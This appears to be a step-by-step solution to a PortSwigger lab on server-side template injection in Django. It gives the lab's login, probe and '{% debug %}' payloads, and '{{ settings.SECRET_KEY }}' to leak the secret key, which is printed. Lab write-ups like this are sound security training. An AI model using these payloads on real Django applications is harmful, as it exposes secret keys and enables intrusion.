PortSwigger

Lab Description
This lab is vulnerable to server-side template injection due to the way an object is being passed into the template. This vulnerability can be exploited to access sensitive data.
Objective: Steal and submit the framework’s secret key.
Credentials: content-manager:C0nt3ntM4n4g3r
Step 1: Log In
- Log in with credentials:
- Username:
content-manager - Password:
C0nt3ntM4n4g3r
- Username:
Step 2: Find the Template Injection Point
- Navigate to a product page
- Look for the option to edit the product description template
- This is where template injection occurs
Step 3: Identify the Template Engine
Test with invalid syntax:
{{7*7}}

Error response , Template engine identified: Django
*django engine we have


Step 4: Use the debug Template Tag
Payload:
{% debug %}
This outputs:
- A list of accessible objects and properties
- The
settingsobject is exposed

Step 5: Access the Secret Key
Payload:
{{ settings.SECRET_KEY }}
The secret key is leaked!

Secret Key
0f82onez4c0un9txvcwpdxxkv17dwar4o
Step 6: Submit the Secret Key
- Click the Submit solution button
- Enter the secret key:
0f82onez4c0un9txvcwpdxxkv17dwar4o - Click OK

Step 7: Lab Solved
